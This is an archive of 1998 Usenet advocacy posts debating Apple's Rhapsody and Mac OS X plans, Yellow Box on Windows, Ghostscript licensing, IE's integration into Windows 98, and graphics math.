Organization: UC Irvine
Message-ID: <rmcassid-1905981449580001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au>
In article <6jrlp4$krr$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
>>>I immediately went off and wrote my very own
>>>Web Browser, using the Visual Basic Control Creation edition I had
>>>downloaded from the net!
>>
>>That's pretty cool.
>
>I think finally the light is beginning to dawn . . . .
Don't get too worked up...
>>No, not really. However, I have a hard time believing that it is so
>hard
>>to remove the useful functionality from the system. These are just
>files
>>that we're talking about, not human organs.
>
>Oh right, so an OS doesn't need files to run ? How do you think it
>works - karma ?
In MS's case, I sometimes wonder.
Does an OS need a specific file or subset of files to run - like an HTML
renderer? Or can we swap in an alternative?
If the point is to have local HTML based help, why can't Netscape
substitute? If it can substitute, then IE can be removed, no? Or did MS
decide to sneak the HTML renderer into the kernal specifically so that it
couldn't be removed? If it can't be easily replaced, then I think MS is
either working very hard to make sure nobody can rip it out, or MS is
paying their coders too much.
-Bob Cassidy
From: Michael Branton <mbranton@stetson.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 21:41:40 -0400
Organization: Stetson University
Message-ID: <3560E354.237B@stetson.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <pulsar-ya02408000R1805981800420001@news-proxy.cso.uiuc.edu>
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Pulsar wrote:
>
> In article <3560AE4A.E39BC012@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Joe Ragosta wrote:
> >
> > >
> > > Just how did Jobs cut anyone off at the knees?
> > >
> > > YB development is unchanged. You'll still be able to deploy it on Macs,
> > > Rhapsody, and Windows.
> >
> > Think real hard about that. Rhapsody 1.0, something the Mac community
> > has been waiting on for well over a year, is *projected* to be released
> > *this* year, *this* fall. Ostensibly, at least insofar as public
> > relations go, Rhapsody *is* the reason Apple bought NeXT.
>
> Oh, please. Just how much of the Mac community do you think actually knows
> about Rhapsody or has even heard what it is? Rhapsody will replace the Mac
> OS as we know it today. Rhapsody will become the Mac OS. Rhapsody named as
> Rhapsody will ship this year. The replacement of Mac OS with Rhapsody won't
> happen until next year.
>
> > Now, a scant few months before Rhapsody's general release, Jobs
> > announces the company is revising it's "next-gen OS strategy" around the
> > Mac OS, instead, and that although Rhapsody will be released, the
> > *really big thing* will be "Mac OS 10" in Q3 1999. You can't see how
> > this might affect anything relative to Rhapsody?
>
> Considering that Mac OS X has everything that Rhapsody will have and more,
> not really.
>
everything ?
like running on intel hardware ?
sorry, but the world is not going to ditch all their intel hardware to
buy hardware from apple to run Mac OS X. apple has returned to its
proprietary ways. by choosing to draw back to its exisiting base, it has
insured that it cannot grow marketshare and will eventually be
irrelevant. this is the legacy of the mac environment having remained in
stasis for so long. i wish it were otherwise, but it's not.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 19 May 1998 02:01:44 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6jqp68$7mh$6@blue.hex.net>
References: <6jh6lm$526$1@news.idiom.com> <6jhf5b$ku3@sjx-ixn10.ix.netcom.com> <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu> <1d954cy.ca4pnwrljkekN@carina37.wco.com>
On Sat, 16 May 1998 22:04:59 -0700, Mike Paquette <mpaque@wco.com> wrote:
>Stephen Peters <portnoy@ai.mit.edu> wrote:
>
>> Assuming that the main reason for the change was the royalty cost for
>> YB apps to deploy on Windows, DGS *would* solve that problem, since
>> it's a clean-room implementation of the DPS spec. It would be, in
>> effect, royalty free (Apple pays royalties to Adobe for the
>> implementation, not the language).
>
>Contrary to popular belief, GhostScript and derived products are free
>for non-commercial use only. Commercial use requires that one work out
>a license agreement with Aladdin, Peter Deutsch's software company.
There are indeed two "versions" of Ghostscript:
a) Aladdin Ghostscript, and
b) GNU Ghostscript.
Aladdin Ghostscript is a commercial product which, as you have correctly
indicated, is freely usable for non-commercial use. As you have
indicated, commercial use of Aladdin Ghostscript does indeed require
licensing it from Aladdin.
From there, you head on into the realm of claims that rather contradict
reality:
>The version you can get source code for typically lags behind Aladdin's
>version by about 18 months, and is covered by the same license.
Falsehood #1: "The version you can get source code for typically lags
behind Aladdin's version by about 18 months"
Source code for *both* packages are available as soon as they are
released. You can head to the Ghostscript web site
<http://www.cs.wisc.edu/~ghost/> and get the latest versions of either
GNU Ghostscript or Aladdin Ghostscript, both in source code form.
Falsehood #2: "The [lagged by 18 months] version ... is covered by the
same license"
The "commercial" Aladdin Ghostscript software reverts to the GNU Public
License after 18 months. The GPL is *NOT* the same license. It permits
redistribution with the "GPL" set of restrictions that, notably, require
neither:
a) Licensing fees, nor
b) Licensing arrangements with Aladdin.
--
Windows '95 - A 32 bit patch for a 16 bit interface to an 8 bit OS
designed for a 4 bit chip.
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 19 May 1998 02:01:36 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6jqp60$7mh$5@blue.hex.net>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu> <355E3B44.AC0E2AF7@trilithon.com>
On Sat, 16 May 1998 18:20:04 -0700, Henry McGilton <henry@trilithon.com> wrote:
>Stephen Peters wrote:
>
> * markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
> * * Umm, how would DGS solve the problem?
>
> * Assuming that the main reason for the change was the
> * royalty cost for YB apps to deploy on Windows, DGS
> * *would* solve that problem, since it's a clean-room
> * implementation of the DPS spec. It would be, in effect,
> * royalty free (Apple pays royalties to Adobe for the
> * implementation, not the language).
>When you say "Display Ghostscript", I assume you mean something
>built upon Peter Deutsch's Ghostscript? For commercial purposes,
>I believe that there would be royalties involved.
a) It seems rather likely that DGS will use the GNU Public License.
Which does not require that royalties be paid for commercial use.
b) If Apple wished to license DGS from Aladdin under some other
arrangement, that is likely possible. If they fed Aladdin some
(reasonable sum of money), that could probably cover licensing in
virtual perpetuity.
--
Windows '95 - A 32 bit patch for a 16 bit interface to an 8 bit OS
designed for a 4 bit chip.
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
Date: Tue, 19 May 1998 20:53:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Message-ID: <joe.ragosta-1905982053010001@elk125.dol.net>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com>
In article <6jt7tt$enb$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> Apple really screwed up. Apple has the BEST OS!! in the world, openstep,
> and it is being discouraged from flourishing. Why is this? THeir are all
> these openstep programmers, who are using rhapsody for intel or openstep for
> mach or openstep for nt. They write their apps on a pc, and qa their
> programs on the pc with nt. Now, Apple is saying "if you want to develop for
> yellowbox, you have to buy a mac to do it".
>
> Yes, rhapsody for intel 1.0 will be out, but this will be the end of rhapsody
> for intel. Its true.
> From: Jordan Dea-Mattson <jordan@apple.com>
> Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
> Apple is forcing the best os into further obscurity.
> 1) for many yellowbox programmers, buying a mac simply isnt a solution.
> THese developers will be lost
> 2) many of these programmers work have all pc's, getting a apple os that runs
> on pc's is a solution, buying mac hardware ISNT.
> 3) How many pc owners will buy rhapsody 1.o for intel? It would be preety
> stupid knowing its the last version.
Then they'll run Yellow Box on NT.
It was a bad decision, but not the disaster you're implying. Since they'll
be able to run YB on NT or Win9x, they can use YB without buying new
hardware.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Date: 19 May 1998 02:43:05 GMT
Organization: Occam's Razor
Message-ID: <6jqrjp$a26$1@news.cmc.net>
References: <355c8968.0@206.25.228.5> <6jjfgn$c75$1@crib.bevc.blacksburg.va.us>
<Et58A7.1Hp@AWT.NL>
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Cc: G.C.Th.Wierda@AWT.nl
In <Et58A7.1Hp@AWT.NL> Gerben Wierda wrote:
>
>2. What about the BSD personality? Rhapsody has one. MacOSX hasn't. If
>Rhapsody is to go, I'd like to hear reassuring (and convincing) statements
by
>NeXT about the availability of shells and such.
Shhh... You mean Apple, don't you? Another slip like that.... ;-)
Apple has said that BSD will be a part of Mac OS X, although
command-line access to it may be a separate install.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 19:24:19 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jt4b3$vip$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com> <3561FE85.C3B626FC@milestonerdl.com>
In article <3561FE85.C3B626FC@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Scott Anguish wrote:
> > On 05/19/98, m rassbach wrote:
> > <snip>
> > >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
> > Look at the name of the site. Does that give you a clue as to
> > the accuracy?
> The thread from akria@home.com mentioned the author of that email in his
> thread where he mentions the session where Apple confirms on tape the
> ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and the
> session date of 197 is thursday.
What point are you trying to make? If it's about the reliability of
MacOS Rumors: Akira stated that he, _personally_, asked specifically
about Rhapsody/Intel and was told that they have no plans to continue
it past 1.0. Steve Jobs himself said that it wouldn't. What does that
say about MacOS Rumors' reliability?
> > Look at the track record as recent as two weeks ago
> > when they said that Blue Box on Rhapsody wouldn't support networking..
> > WRONG.
> Or YellowBox to be released ON the Windows98 CD. Given the $20 charge,
> that rumor sounds bogus too-as pointed out by, I belive Nathan.
I didn't point that out, but it sounds very bogus.
> > >Yet, others say Steve Jobs and in a Q&A (!97) that Intel/Rhapsody
> > >is dead beyond 1.0 release. All I have been asking for is a
> > >statement from Apple via a press release or white paper that
> > >outlines what the NT5/98 plans are.
> > Apple outlined their plans with regard to Yellow Box on
> > Windows at WWDC. That hasn't changed.
> Which WWDC?
Guess.
> Tidbits points out that WWDC 97 said Yellowbox would be out and have
> 'free' YB for windows.
And according to Apple, it still will; but it cost $20 for a year before
being free. In any case, the cost of YB is really out of Apple's control;
Adobe didn't play ball like they thought it would and Apple can't eat that
licensing fee. On the other hand, the other things Apple has announced
_are_ under Apple's control. (Including making sure it works on NT/98.)
> > WebObjects relies on YB on NT. The fourth largest contract
> > ever awarded by the Federal Goverment is based on WebObjects.
> And where is the press-release on that? Nice press....why doesn't Apple
> promote it?
I don't know whether or not I read it in an Apple press release, but _I_
heard about it when it was announced or reported by _someone_. The United
States Postal Service contract. See if you can find something on it.
> > >And for some reason the writers who appear at StepWise and Nathan
> > >don't feel a press release is reasonable to ask for.
> > I've never said that.
> And never have claimed you have.
> I hereby modify the writers who appear to the writers who sometimes
> appear.
> Or how about:
> the regular posters in c.s.n.a who appear at StepWise
That would still include Scott.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Tue, 19 May 1998 21:13:39 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1905982113470001@192.168.0.3>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3> <6jsivk$rs9$2@ns3.vrx.net>
In article <6jsivk$rs9$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <rex-1905981844580001@192.168.0.3> Eric King claimed:
:> rendering algorithms. Most will be using fixed-point math. Why? On most
:> processors it's just faster
:
: Bzzzt, wrong.
Maury, why don't you go pick up a copy of Foley & van Dam's Computer
Graphics: Principles and Practice and give it a read. It will probably end
all of this blathering.
:On most modern CPU's FP is about the same speed as int, and
:is less busy. This means more performance from the fpu than the int in the
:majority cases.
Did it ever occur to you that there are reasons why it's less busy???
Certain things have to be done in integer math if you want them to be
remotely efficient. Part of the reason why G3s run so fast is that they
have very finely-tuned integer units.
: In addition the fixed math was performed in software,
:slowing it more.
This statement doesn't make much sense. Please clarify. (I'm hoping
you're not as clueless as this statement makes you appear to be...)
: Works great on a 68k where the fp approaches 1/5th int performance, but not
:on a PPC where fp is roughly 90% of int and in some specific silicon even
:faster than int.
Yes, on the PPC, it's *still* a toss up for 2D work. Floating-point is
needed for 3D because of the extended range it offers, but most 3D engines
still convert to fixed-point for rasterization.
:> There are instances where floating-point is faster, but there still has
:> to be a translation to integer coordinates when everything get rasterized.
:
: Sure, if you're using int coords.
Maury, the screen is *always* in integer coordinates. Every computer
graphics system that uses floating point coordinates eventually has to
write to discrete integer positions on screen. (I'm excluding polar
displays...) That's just the way the hardware works. If you draw a picture
at 3.2, 4.7 it's going to be rounded to a real location of 3, 5.
Converting from fixed-point to pure integer takes only one cycle. The
equivalent floating-point to integer conversion on all PPC processors
takes many more cycles. ~10 IIRC. Depending on what you're doing and where
you're doing it, this conversion can really slow you down.
: I guess you missed that part, the new engine is FP based like PS.
It has a virtual floating-point coordinate space, like PS. You have no
clue as to whether the internals of it are pure FP or a mixture of
floating-point and fixed-point. (Hint if it's fast, it's probably a
mixture...)
-Eric
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <joe.ragosta-1605981319310001@elk72.dol.net> <B1834ABC-D9B7C@207.217.155.39>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <355fed23.0@nnrp1.news.uk.psi.net>
Date: 18 May 98 08:11:15 GMT
"Brad Hutchings" <brad@hutchings-software.com> wrote:
>be a single vendor effort!!! GNUStep is probably not a backup plan for any
>developer with a clue. (Sorry free software people, that's just reality
>circa May, 1998).
Well - I almost agree - I think GNUstep is currently a good backup plan for
non-gui apps, but ONLY for a developer who has more than a clue - is an expert
in fact.
You need to -
1. Work to yellow-box APIs that are in GNUstep (almost all of them)
2. Be expert enough (and allow extra time) to fix things
But you get the GNUstep source to look at - a bit of a time saver.
Overall, yes it is going to take more time, effort, and expertise to code
for Apple-YB + GNUstep - but you gain security and cross-platform capability.
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 18 May 1998 22:58:25 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jqt6a$md2$2@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6jk64c$vo9$1@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>Robert Cassidy wrote in message ...
>
>>>IE is a DLL as well as an app. As such if you want your app to make http
>>>connections or to display HTML, then you can use IE as a library to do
>>>that. But I don't think that Navigator could slip in to fill that role.
>
>>Thanks for responding, and sorry for replying so late.
>
[snip...]
>>Even if Microsoft didn't document the interfaces that _they_ use, this
would
>>not stop Netscape from creating equivalent (or better) interfaces so that
>>_you_ can do with Netscape what others can do with IE.
>
>I think one problem with MS that goes back a long way is that they
>generally don't get around to sharing their documentation until they have
>gotten their product in the works. I don't know all of what IE and 98
>does, but I imagine it was doing it before MS decided to document it.
>
I have not been receiving updates of the MSDN CDs, so I don't know for sure
how early they included documentation for IE4. However, magazines like
Microsoft Systems Journal and Microsoft Interactive Developer had some
fairly detailed articles about IE4 over six months before it shipped. That's
where I first saw IWebBrowser2 documented. It was in an article that
included words to the effect that "here's what you had with IWebBrowser, and
here's all the great new stuff you can do with IWebBrowser2". I hadn't even
known there was an IWebBrowser! I immediately went off and wrote my very own
Web Browser, using the Visual Basic Control Creation edition I had
downloaded from the net!
>>This is two separate issues. One is whether an OEM can include Netscape
with
>>Windows 98 on the systems they ship. I don't know, but since this was a
>>legal issue and not a technical issue, I don't see why it would have
changed
>>between Windows 95 and Windows 98.
>
>I suppose an OEM could include Netscape, but clearly not in place of IE.
>This is different than with 95.
Again, I don't know for sure, but I believe that presently, an OEM can ship
Netscape+IE, but not just Netscape. As far as I've heard, they can still
ship Netscape with Win98. However, because of the integration, it makes no
sense to talk about "removing IE4 from Win98". One could remove IExplore.exe
(63Kb on my Win95 system), but I doubt that would satisfy anyone.
>>The other is whether Netscape is allowed to be the Active Desktop. I don't
>>know, but certainly many of the Shell APIs are documented by Microsoft. On
>>my CD, they're in Platform SDK\User Interface Services\Shell. Surely this
>>kind of documentation is enough for Netscape to write a replacement shell
>>that would use Netscape for the "Active" part of "Active desktop". As to
>>whether Microsoft would allow an OEM to ship a system with the Netscape
>>shell instead of the Windows shell, I don't know.
>
>Based on what happened this weekend, it seems that MS will not allow an
>OEM to ship a Netscape shell in place of the IE one. It was roughly one of
>the concessions the DOJ asked for.
I don't believe that issue arose this weekend, though I could be wrong. The
DOJ asked for so many ridiculous things!
>-Bob Cassidy
John Saunders
jws@jws.ultranet.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Mon, 18 May 1998 16:55:10 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1805981655100001@dante.eng.uci.edu>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com>
In article <355FC790.47AFED2F@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
>Rex Riley wrote:
>
> * Did I miss a friendly bet... ? I'm stating my assertions
> * with target numbers.
>Where did you get your target numbers, Rex?
>
> * You're a *numbers* kinda guy, where are your targets?
> * Is Apple going up or going down?
>Up. Two-year target --- $60.
>
>I'm probably safe in this prediction (mostly) because most of the
>posters (I hesitate to call them contributors) to this newsgroup
>appear to have an attention-span of around ten seconds. So Rex,
>let's have a friendly bet --- some time between now and May 2000,
>Apple stock will be over $60 (anybody in this bunch of frothing
>"advocates" remember the last three times it was over $60?).
>If I'm wrong, Rex, I'll share with you a bottle of Dom Perignon (and
>if I have any money left over, an ounce of caviar to go with it).
>Course, this is a win-win bet, right?
I'll go one better. No money behind it - why gamble with you guys when I
can just buy the stock...
$45 by August 20. $60 by Jan 20 1999.
Other predictions, but less thought out:
I wouldn't be too surprised to see $27.5 near term, but nothing lower.
Rebound to the 30's within 2-3 weeks. $35 before Macworld, $38 before
earnings, slow runup to $45 as weak 1998 quarters are behind and big Q4
iMac earnings are ahead. Watch for upgrades this quarter.
Likely market meltdown could lower all predictions by $5-$10.
I think these are safe, however.
-Bob Cassidy
Date: Tue, 19 May 1998 21:03:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1905982103420001@elk125.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com>
In article <6jsv3g$bia$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 05/19/98, m rassbach wrote:
> <snip>
> >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
>
> Look at the name of the site. Does that give you a clue as to
> the accuracy? Look at the track record as recent as two weeks ago
> when they said that Blue Box on Rhapsody wouldn't support networking..
> WRONG.
>
> >Yet, others say Steve Jobs and in a Q&A (!97) that Intel/Rhapsody
> >is dead beyond 1.0 release. All I have been asking for is a
> >statement from Apple via a press release or white paper that
> >outlines what the NT5/98 plans are.
> >
>
> Apple outlined their plans with regard to Yellow Box on
> Windows at WWDC. That hasn't changed.
>
> WebObjects relies on YB on NT. The fourth largest contract
> ever awarded by the Federal Goverment is based on WebObjects.
I suspect you left out quite a few qualifiers. 4th largest software
contract maybe?
Still, it's impressive.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Mon, 18 May 1998 17:09:10 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1805981709100001@dante.eng.uci.edu>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us> <6jo85b$ik23@odie.mcleod.net>
In article <6jo85b$ik23@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
>Nathan Urban wrote in message <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>...
>>
>>No, Apple was very clear on this point -- a unified imaging/printing
>>model is being retained (based on PDF, not PostScript).
>
>As was stated several times at WWDC by myself and others, PDF is NOT
>Postscript. The world is full of Postscript printers. There are no PDF
>printers.
I don't think that is exactly true. PS Level 3 allows for a PDF engine in
the printer. Its not mandatory, but it's in the spec. I don't know how
many people have taken advantage of it yet.
>By the way, there are lots of perfectly good Postscript files that no
>"distiller" made to date can correctly translate to PDF. That does not mean
>it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ... Oh
>how I hall miss it.
I suspect that PDF will be revved before we see OS X. It seems about the
right time...
-Bob Cassidy
Date: Tue, 19 May 1998 20:46:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-1905982046000001@elk125.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu>
In article <rmcassid-1905981449580001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <6jrlp4$krr$1@nargun.cc.uq.edu.au>, "Christopher Smith"
> <drsmithy@usa.net> wrote:
>
> >>No, not really. However, I have a hard time believing that it is so
> >hard
> >>to remove the useful functionality from the system. These are just
> >files
> >>that we're talking about, not human organs.
> >
> >Oh right, so an OS doesn't need files to run ? How do you think it
> >works - karma ?
>
> In MS's case, I sometimes wonder.
Actually, it's not that farfetched for csma.
Earlier, someone stated that WinNT won't run on Macs. When VPC was brought
out as an example, several Wintel fans said that WinNT on VPC is not
really running on a Mac. I guess WinNT doesn't need hardware, either.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 19 May 1998 20:36:45 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1905982036450001@tnt1-38.hiwaay.net>
References: <jdoherty-1705982244570001@aus-tx19-25.ix.netcom.com> <B18542DE-1C771@206.165.43.155> <djboccip-1805982250340001@tnt2-192.hiwaay.net> <jdoherty-1905980049350001@aus-tx20-02.ix.netcom.com>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <jdoherty-1905980049350001@aus-tx20-02.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> In article <djboccip-1805982250340001@tnt2-192.hiwaay.net>,
> djboccip@hiwaay.net (Dennis J. Boccippio) wrote:
>
> | Distiller is not what one would call blindingly fast.
>
> No, it's not, but on a 200 MHz PPC604e, it's not that slow, either. I'm
> sure it's much nicer on a more recent PPC.
>
Actually, a 200 MHz PPC604e is what I typically use it on as well
(APS M*Power 604e/200).
I wasn't blasting Distiller, I was questioning whether PDF parsing
and rendering were fast enough to use as a core OS service, as seems
to have been claimed. (Then again, I've never really understood
how Display Postscript could be so obscenely fast on 680x0 NeXT boxes,
so my knowledge is limited...)
> I routinely use it to crunch through books ranging from 200 to 1,000
> pages (a few MB to a couple of GB as uncompressed PS files) and it
> works reasonably fast and quite reliably. Most books only take a few
> minutes to distill, although obviously, the more data there is, the
> longer it takes to crunch through it.
>
> The only other way I have to make PDFs is ghostscript, and in comparison,
> it crawls. What are you comparing it to, and what are you trying to use
> it for?
More or less the same things, though my docs tend to be in the 100-200
page range. Again, I was just questioning if it were "real-time"
enough for OS usage.
- Dennis
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: "Michelle L. Buck" <buck.erik@mcleod.net>
